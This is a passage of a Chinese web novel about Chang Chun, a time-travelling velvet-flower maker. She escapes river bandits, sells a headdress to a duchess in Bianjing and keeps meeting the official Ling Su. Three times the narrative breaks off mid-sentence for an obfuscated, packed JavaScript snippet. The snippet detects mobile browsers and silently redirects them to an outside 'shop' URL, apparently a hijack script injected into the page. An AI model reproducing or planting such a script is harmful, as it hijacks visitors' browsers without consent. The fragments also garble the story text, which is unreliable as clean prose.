这具身体实在太柔弱了,她心里暗暗发誓,若今日有机会逃得出去,一定把太极八段锦广播体操当成每日必修课程。 她跑过后舱,身后跟着三名闻声而来的水匪,他们似乎知道后舱的大通铺没什么油水,不耐烦地砍倒几个人后,又执着地跟了上来。 常春跑到甲板上,张皇地望了眼水中,随即绝望地背靠着栏杆,看着围上来的三名水匪,露出了无助的表情。 她怕得神情苍白,泪水大颗大颗划过脸颊,如同枝头一朵在寒风中摇曳的小白花,纵使再铁石心肠的人看到了也会心软两分。 她咬唇道:“众位好汉,妾孤身一人回乡投亲,若哥哥们肯放妾一条生路,妾所负细软财物便尽数交予各位。” 她将包袱解下捧在手中,一双眸子如剪秋水,怯怯望着他们。 中间的水匪哈哈一笑,挥手挡住其他两个跃跃欲动的弟兄。 他几步上前便扯住了常春的包袱,调笑道:“钱我们要,人我们当然也要!小娘子这般容貌,跟我们回去当个压寨夫人也是绰绰有余的!” 常春似是羞恼至极,死死抱着包袱不放。 那水匪却只当是一只野猫儿发怒罢了,还欲伸手摸一把这小娘子的脸,却见她眼中闪过一丝奇异的光芒。 他的第六感提醒他不太妙,但他的所见又告诉他这不过是个柔弱可欺的女子。纵使反抗也不过是被小野猫挠一爪子,怕是痒比痛还多些,因此依旧狞笑着逼身上前。 常春又向后看了一眼,船上遭了水匪,早已无人顾得上掌舵理帆,晃晃悠悠地离岸边苇荡越来越近,眼看就要搁浅。 她回头看着水匪,贝齿轻咬红唇,似笑似嗔睨他一眼,伸手微微打开包裹,水匪被那一眼看得神魂都失了小半,情不自禁跟着探头去看…… “噗嗞!”一声脆响。 那水匪当即瘫倒在地捂脸痛叫,滚滚鲜血和着一些黑的黄的物事从指缝间涌出,竟是被利刃从他左眼刺入,又横贯鼻梁切到了右眼! 常春手上一柄利剪泛着森森寒光,还往下漉漉滴着鲜血。 须知,磨剪刀是一个绒花簪娘的基本职业素养。 老娘就是穿越到石器时代,也要找块最上乘的磨刀石,日夜打磨我的宝贝剪刀好吗?! 几百米外一艘白帆行船破开雾气,船舱未见灯火,迅疾而无声的驶来。 听闻前方有水匪滋扰民船,凌肃下令张满帆疾行,却在快到时正巧看到了常春持剪刺瞎水匪的一幕。 他身侧的侍卫眼珠子几乎都快掉到了地上,惊道:“好个悍勇女子!” 此时悍勇女子常春同学看着逼近的剩下两名水匪,目测了一下船和岸的距离,遽然抬臂将手中包袱向反方向甩了出去,自己则一个翻身,像只轻飘蝴蝶般跌下了船。 凌肃呼吸一滞,道:“快,靠过去!” 两名水匪,一名去另一侧水中追那包袱,另一名则跟着常春跳下了船。 所幸岸边泥土湿软,常春并未因跳船受伤。她一踩稳土地,便片刻不停地钻进了深且密的芦苇荡中。 芦苇叶片割人,根须纵横,穿行其中十分困难。 常春时不时跌倒在地,脸颊脖颈都划出了深深浅浅的血痕,脚踝也不知道扭了多少次,但每次还是很快又爬起来,咬牙继续朝前狂奔。 直到身后那道浊重的呼吸越来越远,最后再也听不见,她才停了下来,轻轻蜷在一个芦苇窝子中,慢慢发起抖来。 肾上腺素退去,后知后觉的恐惧让她全身上下止不住的颤抖,像得了最严重的疟疾般,连牙齿都发出了轻微的‘扣扣’声。 凌肃甫一上岸,就沿着芦苇被踩踏的痕迹追去,在一条岔路上寻到了水匪踪迹,一刀便了结了他。 他定了定,又沿着另一条岔路上,似乎是不停的摔倒又爬起来的泥泞痕迹,慢慢向前寻去。 他在一个芦苇窝子前停了下来,静静隐在苇丛后,看着蜷在那里的女子。她神情苍白,满脸冷汗,唯独一双眼睛中像燃着两簇幽幽鬼火,亮得惊人。 她已经怕到极限了,不是故作可怜,也不是虚与委蛇,是那种精疲力竭,随时准备放弃这条命的怕了。 凌肃得出这个结论,又想起他和她之间不太友善的初见。想了想,反手割下一截袍角系在脸上,这才走了出去。 寂静的苇荡中,靴子踏上芦苇枯叶的咯吱声格外令人惊心。 常春抖了一下,看见一个蒙着面,佩着刀的男子一步步靠近,随即向她俯身下来,伸出手似想抱她起来。 她温顺地任由他将她抱起,竟还抬起右手,自然地揽住他的脖颈,左手抚向他的心口,似乎是想抓住他的衣襟,好借此保持平衡。 电光火石间,男子一把抓住她的手腕,另一手还保持着稳稳抱住她的姿势,声音微沙道:“老实点,我是来救你的官兵!” 常春被扣住的左手中,赫然还拿着一把绣花小剪,同样闪着寒光,锋锐无比。闻言将信将疑地盯着他,见他半晌不再说话,又剧烈地挣扎起来。 凌肃终于忍不住,疾步带她转过岔路口,给她看被他砍翻在地的水匪。 怀中女子紧绷如同弓弦的身体这才悄悄放松下来,竟还含糊着道了句谢。最后才终于力竭般,将额头抵在了他胸前,闭上了眼睛。 凌肃手腕紧了紧,只觉得怀中人似乎轻得像一片羽毛。 就是这样一个人,刺韩宽,杀水匪,三言两语哄过差役赎回罪奴,差点还将他捅了个透心凉。 忆起自识得她来的桩桩件件,又想起方才侍卫说她‘好个悍勇女子’,凌肃唇角情不自禁勾起一个笑容,可不是悍勇么? 他看了一眼她苍白的侧脸,反手脱下身上大氅,牢牢覆住了她。 翌日,常春自一阵浑身脱力后的酸痛中醒来,一眼便看见了云雀守在一旁焦急的小脸。 她咳了两声,云雀急忙过来倒了盏茶,将她扶起来喂了一口,喂着喂着眼圈又红了。 常春笑道:“我们两个都好好的,你哭什么?” 又环视了周围一圈,舱舍整洁,窗明几净,比之前所住客舍大了不止一倍。 她挑挑眉:“哟,让你小丫头管钱,竟给我们升到头等客室了,咱家明天不过啦?” 随即又想起来了什么,顿时心疼得呼吸一滞,立即就要下床穿鞋退房去: “小姑奶奶,能省一点是一点吧,咱们的材料包全部打了水漂啦!” 云雀急得不行, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882901|191969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小孩子仓促间又组织不好语言,小脸憋得通红,只好指给她看客房角落,正摊开来晾着常春的宝贝工具们,所幸丝线等俱都被油布包好了,因此受损倒也不多。 还是门边的侍卫上前一步禀报道: “娘子,昨晚您乘的客船已被水匪烧毁,幸存的其余乘客俱被疏散到其他客船上去了。” “因您一直昏迷未醒,这个小丫头又不太晓事,只说您欲往汴京去,正巧我家郎君也是汴京人士,因此邀您同乘。” 常春这才后知后觉的发现换了一艘船,刚想说什么,侍卫立即又道: “我家郎君吩咐,他日常起居均在前舱,轻易不会往后边来,您不用怕男女同行不便。还有,船资您照先前的客船付即可。” 侍卫最末一句话说到了常春的心坎里。 若是白住,常春或者还有些忐忑,既是需付船资,那便俨然是银货两讫的可靠关系了。 她露出一个温婉的笑容,轻柔道:“既如此,便麻烦小哥替妾多谢你家郎君了。” 侍卫连声道不敢,退了出来,还贴心的关好了房门。 他昨晚可是亲眼见着常春一剪子划开水匪的两只眼睛的,此刻看着她柔弱无害的笑容……他摸摸后颈,感觉一阵凉意爬过。 舟行河中,时随水去。 船上两人一在前,一在后,俨然井水不犯河水。 期间常春数次提起想当面郑重道谢,俱被侍卫婉拒了。 她想或许这家主人实在是正人君子,觉得船上毕竟空间狭小,还是同陌生小娘子保持距离比较好。因此她反倒放下心来,相安无事过了三十余日。 第二日便要抵岸了,船上的最后一晚,常春让云雀请来侍卫,请他将一个小小锦盒交与他家郎君: “一直未能当面向你家主人道声谢,妾身无长物,唯有这点手艺还算别致,万望郎君勿要弃嫌。”说完敛衽深深一礼。 侍卫忙抱拳回礼不迭,拿着锦盒回前舱复命,却见自家大人正聚精会神看着公文,只得轻轻放下盒子退了出去。 良久也未见凌肃的公文翻过一页,他索性将册子一丢,随意地拿起案上的锦盒,轻轻揭开。 是那枚松间明月的胸针。 青松如盖,点点金箔点缀其间,掩映着枝叶间一轮珍珠贝母所制明月,光华内蕴,皎洁湛然,却半点脂粉气都无,极适合男子佩戴。 凌肃合上盖子,指尖轻轻摩挲着盒上的木纹,似是漫不经心道:“还算用心。” 汴京,州桥码头。 常春从来没想过,自己居然有一天能站在活生生的清明上河图里。 汴河之上,州桥如同卧波长虹。 桥下车舟争渡,橹声与水夫的号子搅动一河碎金。 桥上人潮摩肩接踵,空中浮着刚出笼的炊饼面香。 桥头脚店林立,高悬的彩帛欢门在风中簌簌作响,招揽着八方来客。 二楼凭栏处,锦衣郎君正将杯中新酒洒向桥下笑闹的船娘。 半空中,相国寺的晨钟穿透市声,一缕梵音稳稳地落在鳞次栉比的青瓦屋顶之上。 但是,仅仅不到半个时辰,常春对首都豪华的膜拜就变成了一声震惊的怒吼: “什么?一个炊饼要我三文钱?!” 5. 第五章 紫莲冠儿 被汴京的三倍物价震惊得回不过神来的常春,苦着脸在客店点了两碗汤饼。 想了想,又咬牙给自己和云雀一人加了块东坡肉,亏什么也不能亏了这张嘴,她们还要长身体呢。 又订了三晚的客房后,常春忧愁地摸着钱袋,仿佛看见了它急剧消瘦的未来。 “不行!咱们得马上出去打听打听行情!” 幸而汴京簪花之风比溧阳更盛。同样的,精致度也远非偏远县城可比。 金银珠玉那是另一条赛道暂且不论,可满街女子所簪的通草花儿,绢罗花儿也是栩栩如生,精致无比。 常春穿过大相国寺琳琅满目的首饰铺子,大致对此地女子爱佩什么样的花儿有了点概念。 此时将近元宵,许多铺子外都陈列着玉梅雪柳、闹蛾儿等物。她随手挑起一枝玉梅雪柳簪在鬓边,掌柜的立时便凑过来,殷勤推销起来: “小娘子真好眼光,咱家的玉梅雪柳都是新上的货。绢罗是水东巷李家的,另请巧手匠人堆制的细巧宫样花儿,连宫内的贵人都曾来求购呢!” “是吗?” 常春微笑着掂了掂这朵花,将它放了回去。 身旁云雀小小叹了口气,眼见着首饰花儿竞争激烈,小孩子难免有深受打击之感。 常春却不以为意,随手买了支闹蛾儿插在她小小的丫髻边,小丫头第一次戴如此有趣的花儿,又是高兴又是为难。 半晌觑眼偷偷问:“阿姐,我们不是要省钱吗?” 常春拨一拨她的闹蛾儿,雪白蛾翅颤颤巍巍。 她笑道:“别担心,咱家的花,也是有别家没有的好处的。” 云雀露出个不解的表情,常春却不再解释。 二人信步逛到街道最末尾,见到在一家门脸最豪阔的名为珍萃阁的银楼前,许多工匠模样的人摩肩接踵,人人脸上洋溢着迫切。 常春捧着一袋葵花籽,邀请旁边卖酥蜜食的娘子一同磕了半把,便将事情打听出了个始末。 众位匠人乃是为了襄国公夫人选作头面而来。 一般贵妇的头面均以金银玉饰为主,可相应的这头饰重量也同样可观。 何况此时越是地位崇高,就越流行高髻博鬓,有时一幅头面竟要用到金银数十两,更别提珠子玉石、象牙玳瑁等沉甸甸的宝石了。 襄国公夫人正是困扰于此。 她素有头风旧疾,近些日子又深受脱发困扰,一戴重些的钗子便嚷着头疼。偏新年元宵在即,少不了又要作富丽繁复的妆饰,去相国寺等地祈福,并赴宫内宫外各处宴饮。 因此她命自家银楼珍萃阁遍访民间能人工匠,要寻一套既轻巧又精细,既轻薄又华贵的头面。 国公夫人虽挑剔了些,但她出手十分大方,首饰本价连带赏赐,远比寻常回报丰厚。更何况若有幸得了国公夫人青眼,那自家便俨然在这竞争激烈的汴京城中多了块活招牌。 因此现下排队献宝的匠人几乎将珍萃阁的门脸都要挤满了,都等着明日将自家首饰送至国公府以备挑选。 “宝成坊金累丝珠子头面一幅。” “玲珑阁牙镶碧玉透影冠儿一顶。” 珍萃阁的执事提笔如飞,登记着各家明日要进奉的首饰,写着写着突然卡了壳: “咳、咳咳,长春绒花掐丝嵌宝绒花头面一幅。” 旁边围观众人纷纷纳罕:“绒花?这是何物?” “倒是从未听过,不知与通草花儿等有何区别?” 云雀虽年幼,也是在韩府见识过几年富贵的,绒花头面还没什么,这掐的金丝嵌的彩宝,是阿姐这一干二净的兜里掏得出来的吗? 她急得小脸通红,一个劲儿的将常春往后拉。 常春却低头对她眨眨眼,反而几步迈进了珍萃阁,对着银楼掌事道:“烦请掌事替我拿一束金丝,若有零散的宝石珠子也请一并给我瞧瞧。” 那掌事见她虽衣着素净,但生得甜净讨喜,一双笑眼弯弯极是可人。因此虽不十分热情,但也算殷勤的将她所说之物捧了出来。 常春挑了一束最细的金丝,又选了几样砗磲、玛瑙、珍珠等较为平价的宝石,即便如此,她们的钱也远不够付账的。 云雀脸上已经提前挂上了惨不忍睹的表情,常春却自袖中拿出一枚白玉鱼佩,对掌事笑道:“我用这枚鱼佩暂抵这些材料,明日事毕即来赎回,您看可使得?” 掌事双手托起鱼佩,一把山羊胡子都抖了起来,连声道:“这、这这……” 常春疑惑地看他,她早知这鱼佩绝非凡品,但这掌事的反应会否太过了些? 掌事抬头深深看了一眼常春,顷刻间已调整好了表情,却莫名比方才热情了许多:“使得,自然使得!娘子尽管取用,若还有需要,随时来珍萃阁寻便是。” 常春笑着行了一礼:“那妾便在此谢过掌事好意了。” 夜色已深,汴河边的客舍脚店渐次收起了酒幌,熄灭了灯光,人与市井都陷入了黑甜的梦乡中去。 当中还有一间房却仍旧亮着一点如豆灯火。 略显晦暗的灯光下,常春聚精会神画着一幅幅簪稿。 七宝莲冠、缠枝忍冬步摇、宝相花流苏对钗、祥云护莲掐丝挑心,精巧又不失繁复华贵,端庄中带着别出心裁。 云雀看得张大了嘴巴:“阿姐,这便是你今日说的‘咱家的花有别家没有的好处’吗?” 常春边理出各色丝线边摇头:“非也非也,明日你便知晓了,快睡吧。” 云雀小人儿缺觉,早困得头一点一点的像小鸡啄米了,却执意要陪着阿姐,直到常春瞪眼竖眉故作生气状,她才恋恋不舍地去睡了。 与此同时,珍萃阁的大朝奉恭敬立在国公府外院的书房中。 青金石的博山炉中燃着袅袅沉水香,数支玉脂烛将书房内照得宛如白昼,也清晰的映亮了降香黄檀书案上的一枚白玉鱼佩。 “她说明日事毕来赎?”书案后的人正是凌肃,此刻拧眉沉声问道。 大朝奉抹了抹额角薄汗:“回禀郎君,那女子确是如此说,咱家银楼掌事认出是您随身之物,不敢怠慢,待她走后便急忙禀报了老奴。” “那你便拿回去,等她来赎。”凌肃顿了顿道。 大朝奉欲言又止:“可那是……”您自小便戴在身边的。 凌肃不耐地打断:“你可知她明日究竟有何事?” 大朝奉期期艾艾道:“似乎、似乎是夫人挑选头面一事……” 凌肃忽然想起那枚松间明月的胸针,这傻瓜,糊弄糊弄我便罢了,国公夫人的刁钻眼光,岂是能为你这般雕虫小技所折服的? 他笑着摇摇头,屏退了大朝奉,又拿起案上书册看了起来。 五更鸡鸣,客舍的窗纸透出淡淡的白。 云雀自梦中醒来,看见阿姐犹自端坐桌前。 她揉揉眼睛,下床走了过去,待看清桌上的东西后立即倒吸了一口凉气。 太久没通宵爆肝了,常春眼下一圈浓浓青黑,正集中全幅心神串着一条多宝流苏。 云雀的吸气声让她回过神来,见妹妹醒了,常春三两下串好流苏,又小心托起这套头面中最大的莲花冠儿,示意云雀伸手来接。 云雀看着这精巧得不似人间之物的冠儿,怯怯伸出双手接了。 一入手,她便‘咦’了一声。 这冠儿由十八片莲花瓣拢起而成,自内至外是深紫到浅紫的渐变,闪烁着丝缎般柔和细腻的光泽,每片花瓣的顶端,还缀着一颗剔透明珠。 莲冠的下围处,以细绞金丝围着黄豆大的珊瑚、砗磲、水晶、玛瑙等宝石,因宝石细巧,色调反而更加和谐。 最关键的是—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882902|191969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿姐,这么大的冠儿,怎地这般轻?”云雀奇道。 明明足有两手并起那般大,重量却甚至不如一枚鸡子。 常春笑得狡黠: “绢罗花儿华丽却稍显呆板沉重,通草花儿生动轻巧却极易碎裂,只有咱们的绒花,繁复却轻盈,美丽而持久。” “这便是咱家绒花独一份儿的好处了,走吧,咱们先去国公府试试水!” 国公府喜雨轩内,前来献宝的众人无一不是信心满满的进去,又垂头丧气的出来。 凌夫人试戴了半日,还是未找到一件满意的,神色间已隐有不耐。正忍不住对婢女抱怨着,忽地眼睛一亮:“放之,你怎么这时候回来了,今日你不是在府衙当值吗?” 凌肃捂唇咳了一声,行礼道:“儿见过母亲。因同僚明日家中有事,我就同他换了当值次序,暂且先回来了。” 说着问道:“母亲这儿今日好生热闹,这是在做什么?” 一说起来凌夫人就觉得头痛,扶额道:“现在的头面首饰,不是金,就是玉,想找个轻巧些儿的,竟是难如登天。” 凌肃又咳了一声:“那母亲看完了吗,儿也许可替母亲参详参详。” 凌夫人笑得眉眼弯弯:“放之今日竟有如此兴致?那娘可真是求之不得了。” 下一个正巧轮到常春,她同云雀一人捧着一个大锦盒走上前来。 方才同众人一起等在阶下,腊月寒风凛冽,将她的脸吹得愈发苍白,进到这轩内良久才觉得暖过来一点。 常春并不敢四处打量,只端正行过礼,将锦盒捧到凌夫人面前轻轻打开。 凌夫人一见那冠子的大小就心生不喜:“这样大的冠儿,岂非要将我的头发都坠掉了!” 常春忙蹲身又行了一礼: “回禀夫人,绒花乃蚕丝所作,质地轻盈如同羽毛。妾斗胆请夫人上头一试,若令夫人觉得沉重不适了,便立即将妾的头发绞了送去做姑子,妾也不敢有半分怨言的。” 凌夫人噗嗤一笑,倒有些意外起来:“你倒是个伶牙俐齿的,既如此,便给我试试吧。” 立即有专门梳头的婢女上前来接过头面,依次将冠梳簪钗插戴上头,又将一面靶镜捧至凌夫人身前。 凌夫人揽镜自照,只见头上一顶渐变紫云莲花冠儿,两侧配金银双色连枝忍冬步摇,脑后是双层宝相团花缀多宝流苏对钗,发髻当中一枚掐丝嵌金祥云护九瓣紫莲挑心。 这满头精巧发饰,俱是佛祖所喜供奉之花,非以金玉堆砌,却比金银珠玉更显华贵富丽,正适合年节下佩戴。 可这重量,比起之前的那些头面,简直可以忽略不计了。 凌夫人心中满意,又对镜仔细端详,突然道:“这宝石……莫非是佛教七宝不成?” 常春轻吸一口气,刚才甫一进轩,鼻端便一直萦绕着一股幽幽佛檀香,她心中暗道:果真是我押题有方! 她随即欠身答道:“回禀夫人,妾听闻夫人礼佛甚虔,因此特意选取了佛教七宝作为装饰。只是为避免发饰过重伤了您的青丝,妾所用俱是细小珠子,还望夫人见谅。” 凌夫人满意道:“这便极好,侍奉佛祖,虔心便可,原不在于宝石大小。放之,你觉得如何?” 常春垂首,耳边只听得一道带笑的嗓音:“嗯,我也觉得极好。母亲,您不赏她吗?” 刹那间如同一个炸雷猛地响在耳畔,她遽然抬头,看向凌夫人旁边端坐的青年。 此刻他着一袭家常竹青道袍,头上随意束着碧玉簪,眉目朗然,微微含笑,如同清风拂面,再不见那晚的生杀予夺的阴鸷嗜血。 常春却止不住心内惊惧之意。 她的心脏狂跳起来,几乎要跃出胸腔,手指深深掐入掌心,极力控制自己不至于立即夺路而逃。 竟在此处又遇见了他?! 6. 第六章 佛手香息 凌夫人倒有些意外,她这独生儿子自小便老成持重,纵使心中对一件事再如何满意或不满,面上也是淡淡的,从不表露半分心绪。 此刻他说极好…… 凌夫人心中微微一动,道:“赏,当然要赏!小娘子这套头面我极是喜欢,后日我需陪同宫中贵人礼佛,正好既应了景,又不会失了礼数。” 养尊处优的贵妇人歪在榻间,随意靠着石青金钱蟒妆花缎引枕。 一袭斜织二色金玫瑰紫长褙子的领口风毛出得极好,暖柔地拥着腻白的下颌,再往上便是精致的眉眼,和那个人长得极像,却少了三分凌厉,多了两分柔和。 常春不敢再看,垂首躬身道:“妾不过一点微末技艺,承蒙夫人抬爱了。” 凌夫人身旁一名伶俐婢子适时上前:“娘子且随婢子来。” 常春便再对上首二人行了一礼,转身带着云雀随着去了。 层层帷幕落下,将一室暖意与那道探究的目光通通隔在了背后。 出得国公府来,常春一语不发,拉着云雀越走越快,最后几乎是跑了起来。 直到云雀再也跑不动了,发出了精疲力竭的喘息声,常春才如梦初醒地停了下来。 常春脱力般倚着一户人家的后墙,方才的一阵狂奔,终于稍微驱散了点脊椎上的寒意。 她长出一口气,摸摸云雀的小脑袋:“就当白日见鬼了……无论如何,咱们总算挣到启动资金了。” 国公府果然财大气粗,一气儿便赏下二百贯钱,折成银子简直是沉甸甸、雪雪白的一座小小山。 云雀眼都直了,抱着银子美了半天舍不得放。 除开精神上的惊吓,物质上的丰厚回报还是令常春极满意的,她心中涌起一股劫后余生的冲动,把心一横。 “走,阿姐今日带你去见见世面!” 云雀却不想见世面,现下她正使劲儿把常春往汴京最豪华的酒楼——丰乐楼——外面拖。 常春腾出一手抓着酒楼前彩帛木条扎起的欢门,耍赖道:“哎哎哎,我就进去看看,我买个炊饼就走还不成吗?” 云雀这丫头,年纪小小却一把子蛮力气,斩钉截铁道:“不成!” 小小人儿痛心疾首:“阿姐,你不是说这是咱们的启动资金吗,你忘了你名满汴京的梦想了吗?!?” 常春怎么也想不到,她平日给云雀灌输的心灵鸡汤竟真的入脑入心了。当即瞠目结舌,被一把拽了出来,垂头丧气地跟着云雀走进了一家小食铺。 不过…… 吸溜吸溜喝着一碗嫩笋、香蕈和着枸杞芽儿炒制的三脆羹,浓浓的胡椒味四溢,鲜美辛香,在这寒冬腊月逼出额角一点薄汗,常春美滋滋地想,这样也不错! 云雀就着浓白醇厚的鱼汤,慢条斯理吃着玉棋子汤饼,想起来含含糊糊道:“阿姐,别忘了,咱们还要去赎你的鱼佩呢。” 常春却浑不在意道:“不用去了,我将它抵出去,原就没想过回去赎。” 见云雀疑惑,她耐心解释道: “我一直猜测它并非普通玉佩,却不知缘何会给我。” “昨日珍萃阁掌事一见此物便神情有异,若是因这鱼佩价值实在过高,他疑心我是哪家婢子私盗主人财物,便该将我扣下押送官府。” 三脆羹的热气晕在常春脸上,令她玉白的脸颊恢复了一点暖和的血色: “可他不仅没如此行事,反倒愈发热情恭敬起来,那便只有一个解释——他认识这鱼佩的主人。”且他对这人极其忌惮。 常春问云雀:“你还记得昨日酥蜜食娘子说珍萃阁是谁家的本钱吗?” 云雀迟疑道:“襄国公府?” 常春凝重道:“今日襄国公夫人身侧的郎君,便是当日灭了韩宽满门那人。因此我猜测,那日溧水边,差役去请示的上司,就是他!” 当日韩府后续的情形常春曾一五一十对云雀讲过,她拿筷子的手抖了起来:“不、不、不会吧,那他为何放过了我们,还给了我们如此贵重的一块玉佩呢?” 常春眉头紧锁:“不知,或许是放走我过后又后悔了,特意以此来警告我,别想着逃过他的手段去。加之暗示我,若想保住小命,从此就要谨言慎行吧。” 凌肃:猜得很好,下次别猜了。 顿了下,常春又叮嘱云雀:“以后凡是遇到今日那郎君,以及和襄国公府有关的任何人、事、物,一定要小心避开。别怕,只管安心做咱们的花儿,那些贵人也不会长久地盯着咱们的,知道吗?” “嗯!”云雀重重点头。 订的客房明日便要到期了,常春得为自己和云雀找个落脚的地儿。 面前的赵姓牙婆大概四十余岁,乃是专为人赁屋子典铺子的。 她着一身蓝色袄裙,头上包一块同色布巾,装束干净利落,脸上神情大方自然,一望即知是个爽利脾气。 州桥桥头的茶舍里,在一众等候生意上门的牙婆中,常春一眼便挑中了她。 此时她的笑容十分和气:“小娘子想赁一所什么样的房子?不是妾夸口,这汴京城中,属我手里的屋子质优价廉,无人不满的!” 常春笑道:“我同妹妹初来乍到,汴京各处都不熟,只想要幽静安全些的,前邻后舍若能热心些,大家互相有个照应便更好了。” 顿了顿又补充道:“还有一点赵娘子切记,务必离襄国公府越远越好。” …… 常春与云雀的新家安顿在望春门外的南斜街后,离着大名鼎鼎的乳酪张家不远。张家铺子里熬煮牛羊奶时,隔得老远便能闻到浓浓的奶香。 常春正是因此拍板定下的这里,经历了前番几次波折,她对原身的身体素质可谓是哀其不幸、怒其不争,但是光锻炼也不行,营养也得跟上啊。 所以搬进小院第一日,她就郑重从启动资金里分出了专门的一项交给云雀——每日起床后去买一壶牛乳,两个人吨吨猛喝。 常春想,这也算一种另类的,每天一瓶奶,强壮北宋人? 总之,每月四贯的租金加上两贯的中介费,一年共计五十贯,两人在这一进小院中安顿下来。 在搬进小院前,常春雇了些工匠,仔细修补了瓦顶屋檐。 小院的正房左侧房间给云雀,右边常春自住。 她吩咐匠人将小院西边两间厢房打通,靠窗安置了大张桌案,其上放置着专门定制的、仿若镜台的梳绒架子,绒花打尖用的清漆竹罐子,定型用的刨花水瓶子。 背后是绵延几面墙的丝线架,又在桌案一侧放了两张斗柜,一张里面放着剪刀、夹子、鬃刷以及细铜丝等工具。 另一张里面则是常春陆陆续续淘的琉璃环、玉石扣、蝶贝蝴蝶以及玛瑙、珍珠、水晶珠子等各色宝石配件。 小院东边是个小厨房,常春郑重地请了灶神,贴了年画,安置了小份‘柴米油盐’在橱柜中图个吉利,许愿日子蒸蒸日上。 最让常春喜欢的,是这小院西边窗外一棵苦楝树。 常春前世来自蜀中,蜀中多见此树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882903|191969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 它叶片浓绿,如细碎裂羽,在春末夏初之际常开淡紫浅白簇簇小花,是‘二十四番花信风’最后一风。 时值隆冬,再过几日便是年关。 苦楝枝头只余颗颗蜡黄小果,仍旧让常春觉得十分亲切,似乎与上一世遥远的家乡终于有了一些联系。 她自小厨房端出一锅腊八粥,驻足看了半日枝头麻雀争食苦楝果子,用力甩甩头,似乎要将那点离愁别绪潇洒甩向脑后。 半晌,她大声喊道:“云雀,来喝粥啦!” 另一边,大朝奉又苦着脸立在了国公府外院的书房中。 “郎君,半月已过,仍未有人来赎这白玉鱼佩,您要不……”要不还是把这烫手山芋收回去吧。 沉香袅袅,掩盖了桌案后面凌肃晦暗不明的神情。 他接过鱼佩,随手丢进案上承盘内:“知道了,你下去吧。” “阿嚏!”小院里的常春重重打了个喷嚏,立即引来云雀担心的责备。 “阿姐可是昨晚睡觉又踢被子了?” 常春摸摸鼻子:“没有……吧,一定是有人在骂我。肯定的!我好像都听见了!” 又马上哄妹妹:“快喝快喝,今日腊八节,待会儿咱们去丰乐楼看热闹!” 云雀重重叹了口气,阿姐果然还是没忘记去丰乐楼潇洒挥霍一事。 谁知常春却像猜到了她在想什么一般,正色道:“我可不是为了玩乐。近日赁房加之修葺房舍,以及购置做花的工具材料,你知道咱们只剩多少钱了吗?” 云雀露出紧张神情,常春立即乘胜追击:“十贯!只剩了十贯!若是咱们再不去找点商机,以后可怎么过啊!” 常春好一番痛心疾首兼之焦虑担心,终于将云雀忽悠到了丰乐楼前。 丰乐楼前放了好大一锅腊八粥,粥米粘稠,插筷不倒。 其上还放着蜜食、干果拼成的果狮,插着各色小旗,五颜六色,十分热闹好看。 二人进得楼内,随意找了张小席坐下,要了碟决明兜子并些鹅梨胶枣等物,常春又替云雀要了一碟糖霜蜂儿,替自己要了一壶荔枝乳酒。 掌灯时分,楼内歌舞之声渐渐盛极,煌煌灯火中,衣香鬓影,彩带飘拂。 二楼包厢内,凌肃正同各位同僚拱手寒暄,今日京兆府衙“尾牙”之宴正设在此处。 忽然间他的动作僵了僵,目光穿透层层人影帘幕,准确地投向楼下不起眼的角落坐着的那人。 几杯荔枝乳酒下去,常春耳根都红了半边。 她定睛看了半日大厅内女宾们的发饰,年节之中,除金玉珠饰外,无非是中规中矩的蛾儿雪柳黄金缕。 又看向楼上两侧阁子外,抱着琵琶琴箫、候在门外的歌伎,发髻间倒是有些不俗花色。 常春悄悄对云雀道:“你且在这儿候着,我去旁边阁子看看。” 汴京丰乐楼最独特的地方便在于它的形制。 除了正中一座巍巍主楼外,还有其余三座侧楼分立三方,中间以数座飞栈虹桥半空中相接。 立于其间,汴京万家灯火尽收眼底。 夜风呼啸而过,撩动袍袖,其上行人衣带飘拂,仿若将要羽化而登仙,乃是汴京城一名景。 常春走在虹桥上,她不知这甜甜的果酒喝下去后劲竟如此之大,被冰凉夜风一吹,三分醉意也成了十分。 她情不自禁脚下一软,倚向虹桥一边木栏杆—— ——却跌入了一个满溢着清新佛手气息的怀抱。 7. 第七章 醒狮钗 常春的酒瞬间醒了大半,立即想要挣扎着起身,却不防脚下仍旧酸软,想要保持平衡,两手反倒无力地在对面男子身上各处抓了好几把。 常春一手捂着滚烫的脸颊,一手扶住一侧的木栏,勉强直起身,由于刚才乱抓乱摸的失礼行为,并不敢抬头直视对方。 她草草行了个礼道:“妾酒后无状,让郎君见笑了。” 常春今日穿着一件满绣粉白绣球镶边的鹅黄褙子,腰上束着新柳色褶裙儿,一阵夜风吹过,衣袂纷飞。 她转身欲走,裙带却被牵住了。 